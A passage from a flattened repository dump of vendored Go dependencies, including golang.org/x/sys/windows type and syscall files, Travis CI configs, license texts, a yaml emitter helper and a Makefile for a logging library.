10 | TUNNEWPPA = 0x540001 11 | TUNSETPPA = 0x540002 12 | 13 | I_STR = 0x5308 14 | I_POP = 0x5303 15 | I_PUSH = 0x5302 16 | I_PLINK = 0x5316 17 | I_PUNLINK = 0x5317 18 | 19 | IF_UNITSEL = -0x7ffb8cca 20 | ) 21 | 22 | type strbuf struct { 23 | Maxlen int32 24 | Len int32 25 | Buf *int8 26 | } 27 | 28 | type Strioctl struct { 29 | Cmd int32 30 | Timout int32 31 | Len int32 32 | Dp *int8 33 | } 34 | 35 | type Lifreq struct { 36 | Name [32]int8 37 | Lifru1 [4]byte 38 | Type uint32 39 | Lifru [336]byte 40 | } 41 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/aliases.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build windows 6 | // +build go1.9 7 | 8 | package windows 9 | 10 | import "syscall" 11 | 12 | type Errno = syscall.Errno 13 | type SysProcAttr = syscall.SysProcAttr 14 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/empty.s: -------------------------------------------------------------------------------- 1 | // Copyright 2019 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build !go1.12 6 | 7 | // This file is here to allow bodyless functions with go:linkname for Go 1.11 8 | // and earlier (see https://golang.org/issue/23311). 9 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/eventlog.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build windows 6 | 7 | package windows 8 | 9 | const ( 10 | EVENTLOG_SUCCESS = 0 11 | EVENTLOG_ERROR_TYPE = 1 12 | EVENTLOG_WARNING_TYPE = 2 13 | EVENTLOG_INFORMATION_TYPE = 4 14 | EVENTLOG_AUDIT_SUCCESS = 8 15 | EVENTLOG_AUDIT_FAILURE = 16 16 | ) 17 | 18 | //sys RegisterEventSource(uncServerName *uint16, sourceName *uint16) (handle Handle, err error) [failretval==0] = advapi32.RegisterEventSourceW 19 | //sys DeregisterEventSource(handle Handle) (err error) = advapi32.DeregisterEventSource 20 | //sys ReportEvent(log Handle, etype uint16, category uint16, eventId uint32, usrSId uintptr, numStrings uint16, dataSize uint32, strings **uint16, rawData *byte) (err error) = advapi32.ReportEventW 21 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/mksyscall.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build generate 6 | 7 | package windows 8 | 9 | //go:generate go run golang.org/x/sys/windows/mkwinsyscall -output zsyscall_windows.go eventlog.go service.go syscall_windows.go security_windows.go 10 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/race.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build windows,race 6 | 7 | package windows 8 | 9 | import ( 10 | "runtime" 11 | "unsafe" 12 | ) 13 | 14 | const raceenabled = true 15 | 16 | func raceAcquire(addr unsafe.Pointer) { 17 | runtime.RaceAcquire(addr) 18 | } 19 | 20 | func raceReleaseMerge(addr unsafe.Pointer) { 21 | runtime.RaceReleaseMerge(addr) 22 | } 23 | 24 | func raceReadRange(addr unsafe.Pointer, len int) { 25 | runtime.RaceReadRange(addr, len) 26 | } 27 | 28 | func raceWriteRange(addr unsafe.Pointer, len int) { 29 | runtime.RaceWriteRange(addr, len) 30 | } 31 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/race0.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build windows,!race 6 | 7 | package windows 8 | 9 | import ( 10 | "unsafe" 11 | ) 12 | 13 | const raceenabled = false 14 | 15 | func raceAcquire(addr unsafe.Pointer) { 16 | } 17 | 18 | func raceReleaseMerge(addr unsafe.Pointer) { 19 | } 20 | 21 | func raceReadRange(addr unsafe.Pointer, len int) { 22 | } 23 | 24 | func raceWriteRange(addr unsafe.Pointer, len int) { 25 | } 26 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/str.go: -------------------------------------------------------------------------------- 1 | // Copyright 2009 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build windows 6 | 7 | package windows 8 | 9 | func itoa(val int) string { // do it here rather than with fmt to avoid dependency 10 | if val < 0 { 11 | return "-" + itoa(-val) 12 | } 13 | var buf [32]byte // big enough for int64 14 | i := len(buf) - 1 15 | for val >= 10 { 16 | buf[i] = byte(val%10 + '0') 17 | i-- 18 | val /= 10 19 | } 20 | buf[i] = byte(val + '0') 21 | return string(buf[i:]) 22 | } 23 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/types_windows_386.go: -------------------------------------------------------------------------------- 1 | // Copyright 2011 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package windows 6 | 7 | type WSAData struct { 8 | Version uint16 9 | HighVersion uint16 10 | Description [WSADESCRIPTION_LEN + 1]byte 11 | SystemStatus [WSASYS_STATUS_LEN + 1]byte 12 | MaxSockets uint16 13 | MaxUdpDg uint16 14 | VendorInfo *byte 15 | } 16 | 17 | type Servent struct { 18 | Name *byte 19 | Aliases **byte 20 | Port uint16 21 | Proto *byte 22 | } 23 | 24 | type JOBOBJECT_BASIC_LIMIT_INFORMATION struct { 25 | PerProcessUserTimeLimit int64 26 | PerJobUserTimeLimit int64 27 | LimitFlags uint32 28 | MinimumWorkingSetSize uintptr 29 | MaximumWorkingSetSize uintptr 30 | ActiveProcessLimit uint32 31 | Affinity uintptr 32 | PriorityClass uint32 33 | SchedulingClass uint32 34 | _ uint32 // pad to 8 byte boundary 35 | } 36 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/types_windows_amd64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2011 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package windows 6 | 7 | type WSAData struct { 8 | Version uint16 9 | HighVersion uint16 10 | MaxSockets uint16 11 | MaxUdpDg uint16 12 | VendorInfo *byte 13 | Description [WSADESCRIPTION_LEN + 1]byte 14 | SystemStatus [WSASYS_STATUS_LEN + 1]byte 15 | } 16 | 17 | type Servent struct { 18 | Name *byte 19 | Aliases **byte 20 | Proto *byte 21 | Port uint16 22 | } 23 | 24 | type JOBOBJECT_BASIC_LIMIT_INFORMATION struct { 25 | PerProcessUserTimeLimit int64 26 | PerJobUserTimeLimit int64 27 | LimitFlags uint32 28 | MinimumWorkingSetSize uintptr 29 | MaximumWorkingSetSize uintptr 30 | ActiveProcessLimit uint32 31 | Affinity uintptr 32 | PriorityClass uint32 33 | SchedulingClass uint32 34 | } 35 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/types_windows_arm.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package windows 6 | 7 | type WSAData struct { 8 | Version uint16 9 | HighVersion uint16 10 | Description [WSADESCRIPTION_LEN + 1]byte 11 | SystemStatus [WSASYS_STATUS_LEN + 1]byte 12 | MaxSockets uint16 13 | MaxUdpDg uint16 14 | VendorInfo *byte 15 | } 16 | 17 | type Servent struct { 18 | Name *byte 19 | Aliases **byte 20 | Port uint16 21 | Proto *byte 22 | } 23 | 24 | type JOBOBJECT_BASIC_LIMIT_INFORMATION struct { 25 | PerProcessUserTimeLimit int64 26 | PerJobUserTimeLimit int64 27 | LimitFlags uint32 28 | MinimumWorkingSetSize uintptr 29 | MaximumWorkingSetSize uintptr 30 | ActiveProcessLimit uint32 31 | Affinity uintptr 32 | PriorityClass uint32 33 | SchedulingClass uint32 34 | _ uint32 // pad to 8 byte boundary 35 | } 36 | -------------------------------------------------------------------------------- /vendor/golang.org/x/sys/windows/types_windows_arm64.go: -------------------------------------------------------------------------------- 1 | // Copyright 2011 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package windows 6 | 7 | type WSAData struct { 8 | Version uint16 9 | HighVersion uint16 10 | MaxSockets uint16 11 | MaxUdpDg uint16 12 | VendorInfo *byte 13 | Description [WSADESCRIPTION_LEN + 1]byte 14 | SystemStatus [WSASYS_STATUS_LEN + 1]byte 15 | } 16 | 17 | type Servent struct { 18 | Name *byte 19 | Aliases **byte 20 | Proto *byte 21 | Port uint16 22 | } 23 | 24 | type JOBOBJECT_BASIC_LIMIT_INFORMATION struct { 25 | PerProcessUserTimeLimit int64 26 | PerJobUserTimeLimit int64 27 | LimitFlags uint32 28 | MinimumWorkingSetSize uintptr 29 | MaximumWorkingSetSize uintptr 30 | ActiveProcessLimit uint32 31 | Affinity uintptr 32 | PriorityClass uint32 33 | SchedulingClass uint32 34 | } 35 | -------------------------------------------------------------------------------- /vendor/gopkg.in/sohlich/elogrus.v3/.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: required 2 | language: go 3 | go: 4 | - tip 5 | 6 | notifications: 7 | email: false 8 | 9 | services: 10 | - docker 11 | 12 | before_script: 13 | - sudo sysctl -w vm.max_map_count=262144 14 | 15 | before_install: 16 | - docker run -d -p 7777:9200 --name elk elasticsearch:alpine 17 | - docker logs elk 18 | - docker inspect elk 19 | - travis_wait 5 20 | 21 | install: 22 | - go get -v ./... 23 | - travis_wait 5 24 | -------------------------------------------------------------------------------- /vendor/gopkg.in/sohlich/elogrus.v3/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Radomír Sohlich 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/gopkg.in/sohlich/elogrus.v7/.gitignore: -------------------------------------------------------------------------------- 1 | /.idea/ 2 | -------------------------------------------------------------------------------- /vendor/gopkg.in/sohlich/elogrus.v7/.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: required 2 | language: go 3 | go: 4 | - stable 5 | 6 | notifications: 7 | email: 8 | recipients: 9 | - liuzoxan@gmail.com # Current maintainer 10 | on_success: change 11 | on_failure: always 12 | 13 | services: 14 | - docker 15 | 16 | before_script: 17 | - sudo sysctl -w vm.max_map_count=262144 18 | 19 | before_install: 20 | - docker run -d -p 7777:9200 -e "discovery.type=single-node" --name elk docker.elastic.co/elasticsearch/elasticsearch:7.0.0 21 | - docker logs elk 22 | - docker inspect elk 23 | - travis_wait 5 24 | 25 | install: 26 | - go get -v ./... 27 | - travis_wait 5 28 | -------------------------------------------------------------------------------- /vendor/gopkg.in/sohlich/elogrus.v7/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Radomír Sohlich 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/gopkg.in/yaml.v2/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | 3 | go: 4 | - "1.4.x" 5 | - "1.5.x" 6 | - "1.6.x" 7 | - "1.7.x" 8 | - "1.8.x" 9 | - "1.9.x" 10 | - "1.10.x" 11 | - "1.11.x" 12 | - "1.12.x" 13 | - "1.13.x" 14 | - "1.14.x" 15 | - "tip" 16 | 17 | go_import_path: gopkg.in/yaml.v2 18 | -------------------------------------------------------------------------------- /vendor/gopkg.in/yaml.v2/NOTICE: -------------------------------------------------------------------------------- 1 | Copyright 2011-2016 Canonical Ltd. 2 | 3 | Licensed under the Apache License, Version 2.0 (the "License"); 4 | you may not use this file except in compliance with the License. 5 | You may obtain a copy of the License at 6 | 7 | http://www.apache.org/licenses/LICENSE-2.0 8 | 9 | Unless required by applicable law or agreed to in writing, software 10 | distributed under the License is distributed on an "AS IS" BASIS, 11 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | See the License for the specific language governing permissions and 13 | limitations under the License. 14 | -------------------------------------------------------------------------------- /vendor/gopkg.in/yaml.v2/writerc.go: -------------------------------------------------------------------------------- 1 | package yaml 2 | 3 | // Set the writer error and return false. 4 | func yaml_emitter_set_writer_error(emitter *yaml_emitter_t, problem string) bool { 5 | emitter.error = yaml_WRITER_ERROR 6 | emitter.problem = problem 7 | return false 8 | } 9 | 10 | // Flush the output buffer. 11 | func yaml_emitter_flush(emitter *yaml_emitter_t) bool { 12 | if emitter.write_handler == nil { 13 | panic("write handler not set") 14 | } 15 | 16 | // Check if the buffer is empty. 17 | if emitter.buffer_pos == 0 { 18 | return true 19 | } 20 | 21 | if err := emitter.write_handler(emitter, emitter.buffer[:emitter.buffer_pos]); err != nil { 22 | return yaml_emitter_set_writer_error(emitter, "write error: "+err.Error()) 23 | } 24 | emitter.buffer_pos = 0 25 | return true 26 | } 27 | -------------------------------------------------------------------------------- /vendor/unknwon.dev/clog/v2/.gitignore: -------------------------------------------------------------------------------- 1 | /.idea 2 | /.vscode 3 | -------------------------------------------------------------------------------- /vendor/unknwon.dev/clog/v2/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Unknwon 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/unknwon.dev/clog/v2/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build test vet coverage 2 | 3 | build: vet 4 | go install -v 5 | 6 | test: 7 | go test -v -cover -race -coverprofile=coverage.out 8 | 9 | vet: 10 | go vet 11 | 12 | coverage: 13 | go tool cover -html=coverage.out 14 | 15 | clean: 16 | go clean 17 | rm -f clog.log 18 | rm -f coverage.out 19 | -------------------------------------------------------------------------------- /vendor/unknwon.dev/clog/v2/codecov.yml: -------------------------------------------------------------------------------- 1 | coverage: 2 | range: "60...95" 3 | status: 4 | project: 5 | default: 6 | threshold: 1% 7 | 8 | comment: 9 | layout: 'diff, files' 10 | --------------------------------------------------------------------------------